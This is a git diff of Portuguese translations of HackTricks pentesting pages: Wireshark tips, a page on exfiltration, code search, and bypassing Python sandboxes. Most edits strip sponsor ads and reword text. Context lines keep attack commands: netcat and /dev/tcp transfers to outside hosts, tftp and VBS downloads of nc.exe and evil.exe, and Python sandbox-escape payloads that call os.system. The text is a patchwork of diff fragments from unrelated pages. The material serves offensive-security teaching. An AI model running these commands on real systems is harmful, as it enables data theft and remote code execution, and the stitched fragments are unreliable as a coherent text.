Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo.
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -120,7 +106,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -15,19 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
Se você tiver um pcap com dados sendo **exfiltrados pelo DNSCat** (sem usar criptografia), você pode encontrar o conteúdo exfiltrado.

View file

@ -9,25 +9,12 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Melhore suas habilidades no Wireshark
@ -42,9 +29,9 @@ Os seguintes tutoriais são incríveis para aprender alguns truques básicos leg
### Informações Analisadas
**Informações de Especialista**
**Informações do Especialista**
Clicando em _**Analisar** --> **Informações de Especialista**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**:
Clicando em _**Analisar** --> **Informações do Especialista**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**:
![](<../../../.gitbook/assets/image (256).png>)
@ -78,9 +65,9 @@ Em _**Estatísticas --> DNS**_ você pode encontrar estatísticas sobre a solici
![](<../../../.gitbook/assets/image (1063).png>)
**Gráfico de I/O**
**Gráfico I/O**
Em _**Estatísticas --> Gráfico de I/O**_ você pode encontrar um **gráfico da comunicação.**
Em _**Estatísticas --> Gráfico I/O**_ você pode encontrar um **gráfico da comunicação.**
![](<../../../.gitbook/assets/image (992).png>)
@ -98,7 +85,7 @@ Outros filtros interessantes:
### Pesquisa
Se você quiser **pesquisar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principal (No., Hora, Fonte, etc.) pressionando o botão direito e depois a edição da coluna.
Se você quiser **pesquisar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principal (No., Hora, Fonte, etc.) pressionando o botão direito e depois editando a coluna.
### Laboratórios pcap gratuitos
@ -106,7 +93,7 @@ Se você quiser **pesquisar** por **conteúdo** dentro dos **pacotes** das sess
## Identificando Domínios
Você pode adicionar uma coluna que mostra o cabeçalho HTTP Host:
Você pode adicionar uma coluna que mostra o cabeçalho Host HTTP:
![](<../../../.gitbook/assets/image (639).png>)
@ -130,7 +117,7 @@ No Wireshark atual, em vez de `bootp`, você precisa procurar por `DHCP`
### Decriptando tráfego https com a chave privada do servidor
_editar>preferência>protocolo>ssl>_
_edit>preferência>protocolo>ssl>_
![](<../../../.gitbook/assets/image (1103).png>)
@ -179,18 +166,6 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -201,7 +176,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,33 +1,25 @@
# Exfiltração
{% hint style="success" %}
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
## Domínios comumente liberados para exfiltrar informações
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente liberados que podem ser abusados
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Domínios comumente permitidos para exfiltrar informações
Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente permitidos que podem ser abusados
## Copiar e Colar Base64
## Copiar\&Colar Base64
**Linux**
```bash
@ -63,10 +55,10 @@ Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Upload de arquivos
### Upload files
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* [**SimpleHttpServer imprimindo GET e POSTs (também cabeçalhos)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Módulo Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -187,36 +179,6 @@ guest ok = Yes
service smbd restart
```
Windows
---
## Exfiltração
### Exfiltração de Dados
A exfiltração de dados é o processo de roubo ou transferência não autorizada de dados de um sistema. Existem várias técnicas que podem ser usadas para exfiltrar dados de um sistema Windows comprometido.
### Técnicas de Exfiltração
Alguns exemplos de técnicas de exfiltração de dados em sistemas Windows incluem:
- **Transferência por Protocolos de Rede**: Os invasores podem usar protocolos de rede como HTTP, DNS, ou FTP para transferir dados para servidores controlados por eles.
- **Uso de Canais Encobertos**: Os invasores podem usar canais encobertos para enviar dados de forma não detectável, como em campos de cabeçalho HTTP ou em pacotes ICMP.
- **Armazenamento em Arquivos de Log**: Os invasores podem armazenar dados em arquivos de log do sistema para exfiltração posterior.
### Prevenção
Para prevenir a exfiltração de dados em sistemas Windows, é importante implementar medidas de segurança, como:
- Monitoramento de tráfego de rede em busca de padrões suspeitos.
- Restrição de permissões de arquivo e pasta para evitar acesso não autorizado.
- Implementação de firewalls e sistemas de detecção de intrusão para identificar e bloquear atividades suspeitas.
Ao adotar essas práticas de segurança, é possível reduzir o risco de exfiltração de dados em sistemas Windows comprometidos.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -226,23 +188,19 @@ WindPS-2> cd new_disk:
```
## SCP
O atacante precisa ter o SSHd em execução.
O atacante deve ter o SSHd em execução.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Se o alvo tiver SSH, o atacante pode montar um diretório do alvo para o atacante.
Se a vítima tiver SSH, o atacante pode montar um diretório da vítima para o atacante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
### Netcat
Netcat is a versatile networking utility that can be used for various purposes, including port scanning, transferring files, and port listening. It can also be used for exfiltration of data from a compromised system to an external server. Netcat operates by establishing a connection between two systems, allowing data to be transmitted back and forth. This makes it a powerful tool for exfiltrating sensitive information during a penetration test.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
@ -261,7 +219,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
graças a **@BinaryShadow\_**
thanks to **@BinaryShadow\_**
## **ICMP**
```bash
@ -289,7 +247,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Por padrão no XP e 2003 (em outros sistemas, precisa ser adicionado explicitamente durante a instalação)
Por padrão no XP e 2003 (em outros, precisa ser adicionado explicitamente durante a instalação)
No Kali, **inicie o servidor TFTP**:
```bash
@ -303,7 +261,7 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Em **vítima**, conecte-se ao servidor Kali:
Em **victim**, conecte-se ao servidor Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
@ -351,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
O programa `debug.exe` não só permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex**. Isso significa que, fornecendo um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante observar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**.
O programa `debug.exe` não apenas permite a inspeção de binários, mas também possui a **capacidade de reconstruí-los a partir de hex**. Isso significa que, ao fornecer um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante notar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
Então, cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -365,23 +323,17 @@ Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe se
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,59 +1,45 @@
# Pesquisa Ampla de Código Fonte
# Wide Source Code Search
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
O objetivo desta página é enumerar **plataformas que permitem buscar código** (literal ou regex) em milhares/milhões de repositórios em uma ou mais plataformas.
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
Isso ajuda em várias ocasiões a **procurar informações vazadas** ou por padrões de **vulnerabilidades**.
{% embed url="https://discord.gg/tryhardsecurity" %}
***
O objetivo desta página é enumerar **plataformas que permitem pesquisar código** (literal ou regex) em milhares/milhões de repositórios em uma ou mais plataformas.
Isso ajuda em várias ocasiões para **buscar informações vazadas** ou padrões de **vulnerabilidades**.
* [**SourceGraph**](https://sourcegraph.com/search): Pesquise em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias grátis). Suporta regexes.
* [**Github Search**](https://github.com/search): Pesquise no Github. Suporta regexes.
* Talvez também seja útil verificar o [**Github Code Search**](https://cs.github.com/).
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pesquise em projetos do Gitlab. Suporta regexes.
* [**SearchCode**](https://searchcode.com/): Pesquise código em milhões de projetos.
* [**SourceGraph**](https://sourcegraph.com/search): Pesquisar em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias grátis). Suporta regex.
* [**Github Search**](https://github.com/search): Pesquisar no Github. Suporta regex.
* Talvez também seja útil verificar [**Github Code Search**](https://cs.github.com/).
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pesquisar em projetos do Gitlab. Suporta regex.
* [**SearchCode**](https://searchcode.com/): Pesquisar código em milhões de projetos.
{% hint style="warning" %}
Ao procurar vazamentos em um repositório e executar algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
{% endhint %}
**Grupo de Segurança Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,20 @@
# Bypass Python sandboxes
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Esses são alguns truques para contornar as proteções de sandbox do python e executar comandos arbitrários.
## Bibliotecas de Execução de Comandos
@ -114,7 +106,7 @@ Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado pa
Note que exec permite strings multilinha e ";", mas eval não permite (ver operador morsa)
{% endhint %}
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **bypass** a restrição:
Se certos caracteres forem proibidos, você pode usar a **representação hex/octal/B64** para **burlar** a restrição:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -160,7 +152,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Bypassando proteções através de codificações (UTF-7)
Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
Em [**este relatório**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -171,7 +163,7 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Também é possível contornar isso usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`.
Também é possível contorná-lo usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`.
## Execução do Python sem chamadas
@ -201,7 +193,7 @@ class _:pass
```
### RCE criando objetos e sobrecarga
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você poderia **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.
#### RCE com classes personalizadas
@ -337,8 +329,8 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### Sem Builtins
Quando você não tem `__builtins__`, você não conseguirá importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
Quando você não tem `__builtins__`, você não poderá importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também estão importando funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
Nos exemplos a seguir, você pode observar como **abusar** de alguns desses módulos "**benignos**" carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
@ -462,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Encontrando bibliotecas perigosas carregadas
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado sys dentro deles**:
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que importaram sys dentro deles**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
